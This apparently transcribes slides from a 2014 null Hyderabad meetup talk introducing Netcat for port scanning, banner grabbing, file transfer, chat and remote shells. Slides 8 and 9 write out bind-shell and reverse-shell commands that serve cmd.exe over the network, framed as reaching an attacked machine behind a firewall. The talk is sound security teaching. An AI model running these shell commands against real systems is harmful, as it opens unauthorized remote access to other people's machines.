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Netcat - 101 Swiss Army Knife
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Netcat - 101 Swiss Army Knife


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null Hyderabad Chapter - May 2014 Meet

null Hyderabad Chapter - May 2014 Meet

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  • 1. - - by Mahesh Bheema
  • 2.  It is a tool that can read and write data across networks, usingTCP or UDP protocol. It can be operated both in server and client mode.
  • 3.  Port scanning  Banner Grabbing  Backdoor  File transfer  Port Redirector  Chatting and  Many more…
  • 4.  Port scanning is the process of scanning a specified host and looking for ports that may be open or closed.  Here is the syntax to scan ports… # nc -v -z IP_Address port_range -v is for verbosity (without –v it wont display result in output)
  • 5.  Banner grabbing is a technique to determine the service running or application, version, operating system. Using the below syntax : # nc -v IP_Address port  when you hit enter,After a few seconds you see some information about your IP address and port number, then write GET / HTTP/1.1 and hit enter and see some information about your victim.
  • 6.  File transfer/ chat works by setting up a server and client.  FileTransfer  nc –l –p 1234 > testfile.txt [Reciever’s end]  nc IP_Address 1234 < testfile.txt [Sender’s end]  type abc.jpeg | nc –lvp 8080  nc –l Server_IP 8080 > abc.jpeg  Chat Server  nc –l –p 1234 [Reciever’s end]  nc IP_Address 1234 [Sender’s end]
  • 7.  Netcat has the ability of providing a remote shell as well. We can do this in two ways…  1. Bind Shell  2. Reverse Shell
  • 8.  We can take cmd.exe/shell and bind it to a local port, and anyone connecting to this port will be presented with command prompt belonging to that machine.This is known as a BIND SHELL. Syntax as follows…  # nc –l -p 1337 –e cmd.exe [Server]  # nc –v Server_IP 1337 [Client]
  • 9.  Reverse Shell:  Netcat can also "send" a shell to another instance of a listening Netcat session.This is especially useful if the attacked machine is behind a firewall or otherwise nat'ed  # nc –lvp 1337 [Server]  # nc –v Server_IP 1337 –e cmd.exe [Client]
  • 10.  It's not always the best tool for the job, but if I was stranded on an island, I'd take Netcat with me ☺
  • 11.  SpecialThanks to CATechnologies for the venue.